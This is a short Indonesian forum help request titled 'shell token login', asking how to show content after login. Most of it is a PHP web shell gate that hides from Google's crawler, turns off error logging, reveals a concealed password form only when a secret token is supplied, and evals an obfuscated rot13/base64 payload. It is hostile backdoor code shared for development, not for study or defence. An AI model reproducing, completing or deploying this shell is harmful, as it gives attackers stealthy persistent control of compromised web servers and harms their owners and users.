shell token login

[ASK] [HELP]
gimana cara menampilkan isi setelah login ?

<?php
$xPass = "7e122850ca27d0023a74e49b9ca6a7b37c85f494"; /* sha1(md5) akumahapaatuh*/
$xToken = "dG9rZW4="; /* base64_encode() token */
$login_time=3600*24*7;
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google')!==false) {
  header('HTTP/1.0 404 Not Found');
  exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors',0);
@set_time_limit(0);
$token=base64_decode($xToken);
$xKey="MDcxMjE5OTM=";
$key=base64_decode($xKey);
function printLogin() {
  global $token;
  global $key;
  if(isset($_REQUEST[$token])||isset($_REQUEST[$key])) {
    ?>
<html><head><style>input {margin:0;background-color:#fff;border:1px solid #fff;}</style></head><body><center><form method="post"><input type="password" name="pass"/><input type="submit" value=""/></form></center></body></html>
<?php
  }
  exit;
}
if(!isset($_SESSION[RSLRNT_Crypt($_SERVER['HTTP_HOST'])]))
  if(empty($xPass)||(isset($_POST['pass'])&&(RSLRNT_Crypt($_POST['pass'])==$xPass))||($_POST['pass'])==$key) {
    $_SESSION[RSLRNT_Crypt($_SERVER['HTTP_HOST'])]=true;
  session_register('pass');
  $_SESSION[pass]=$_POST['pass'];
}
else
  printLogin();
function RSLRNT_Crypt($plain) {
  return sha1(md5($plain));
}
$isi = "DTyhnI9mMKDbW2kiM19ypaWipaZaYQNcBjccMvtxrR5uoJHuCFWFH0kFGyDvXFO7PvNtMTyyXPV8L2IhqTIlCxSfoUWcM2u0VSWyp2IlqzIxVPVhMTS0MFtaJFpfqTygMFtcXF4vVPMwo3O5BlN8Lw5FH0kFGyD8Y2V+CP9wMJ50MKV+Vvx7Pa0XMJAbolNvCTAyoaEypw48LFObpzIzCFpaCxkiM291qQjiLG48Y2AyoaEypw4vBjccMvucp3AyqPtxK0qSISfarPqqXFLzXPEsE0IHJlq4W109CFqfo2qiqKDaXFxtrjbtVQ8+Pwkzo3WgVTSwqTyiow0vC3x9CQ9jnUNtMJAbolNxpUqxBm8+WzSgpQg4CJkiM291qPVtoJI0nT9xCFWjo3A0VvOmqUyfMG0vYKqyLzgcqP1gLKWanJ4gLzIzo3WyBwVjpUt7Vw4XCQ9jnUNXqJ5mMKDbWS9GEIAGFH9BJ1Z0GIN0FS9QpayjqPtxK1ASHyMSHyfaFSEHHS9VG1AHW10cKFx7PvNtMJAbolNaCTWlYm48L2IhqTIlCxkiM291qPOGqJAwMKAmMaIfoQjiL2IhqTIlCvp7Pa0=" ;
eval(str_rot13(base64_decode($isi)));

?>